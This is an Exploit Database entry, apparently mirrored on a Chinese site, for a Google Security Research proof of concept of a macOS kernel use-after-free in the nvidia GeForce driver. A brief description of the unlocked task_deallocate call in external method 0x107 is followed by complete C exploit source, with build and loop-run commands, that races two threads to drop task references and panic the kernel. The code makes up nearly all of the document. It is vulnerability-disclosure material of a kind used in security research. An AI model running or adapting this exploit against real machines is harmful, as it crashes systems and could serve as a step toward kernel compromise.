Apple macOS Kernel – Use-After-Free Due to Lack of Locking in nvidia GeForce Driver

• Exploit Database
• 67 阅读

• 作者： Google Security Research
  日期： 2018-06-06
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/44847/

• /*
  nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
  
  It calls task_deallocate without locking. Two threads can race calling this external method to drop
  two task references when only one is held.
  
  Note that the repro forks a child which give the nvAccelerator a different task otherwise
  the repro is more likely to leak task references than panic.
  */
  
  // ianbeer
  
  #if 0
  MacOS kernel UAF due to lack of locking in nvidia GeForce driver
  
  nvDevice::SetAppSupportBits is external method 0x107 of the nvAccelerator IOService.
  
  It calls task_deallocate without locking. Two threads can race calling this external method to drop
  two task references when only one is held.
  
  Note that the repro forks a child which give the nvAccelerator a different task otherwise
  the repro is more likely to leak task references than panic.
  #endif
  
  // build: clang -o nvtask nvtask.c -framework IOKit
  // run: while true; do ./nvtask; done
  
  #include <stdint.h>
  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/mman.h>
  #include <unistd.h>
  
  #include <pthread.h>
  
  #include <mach/mach.h>
  #include <mach/vm_map.h>
  
  #include <IOKit/IOKitLib.h>
  
  uint64_t set_app_support_bits(mach_port_t conn) {
  kern_return_t err;
  
  uint64_t inputScalar[16];
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096];
  size_t inputStructCnt = 0;
  
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  inputStructCnt = 1;
  outputStructCnt = 1;
  
  inputStruct[0] = 0xff;
  
  err = IOConnectCallMethod(
   conn,
   0x107,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 
  
  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
  printf("worked?\n");
  }
  
  return 0;
  }
  
  
  volatile int go = 0;
  volatile int running = 0;
  void* thread_func(void* arg) {
  mach_port_t conn = (mach_port_t)arg;
  printf("thread running\n");
  running = 1;
  while(!go){;}
  set_app_support_bits(conn);
  return 0;
  }
  
  int main(int argc, char** argv){
  pid_t child_pid = fork();
  if (child_pid == -1) {
  printf("fork failed\n");
  return 0;
  }
  if (child_pid) {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
  if (service == MACH_PORT_NULL) {
  printf("unable to find service\n");
  return 0;
  }
  printf("got service: 0x%x\n", service);
  
  io_connect_t conn = MACH_PORT_NULL;
  kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
  if (err != KERN_SUCCESS) {
  printf("unable to open ioservice\n");
  return 0;
  }
  printf("got service\n");
  pthread_t th;
  pthread_create(&th, NULL, thread_func, (void*)conn);
  
  while(!running){;}
  go = 1;
  set_app_support_bits(conn);
  
  pthread_join(th, NULL);
  
  int loc = 0;
  wait(&loc);
  } else {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("nvAccelerator"));
  if (service == MACH_PORT_NULL) {
  printf("unable to find service\n");
  return 0;
  }
  printf("got service: 0x%x\n", service);
  
  io_connect_t conn = MACH_PORT_NULL;
  kern_return_t err = IOServiceOpen(service, mach_task_self(), 5, &conn); // nvDevice
  if (err != KERN_SUCCESS) {
  printf("unable to open ioservice\n");
  return 0;
  }
  printf("got service\n");
  set_app_support_bits(conn);
  
  }
  
  return 0;
  }
  

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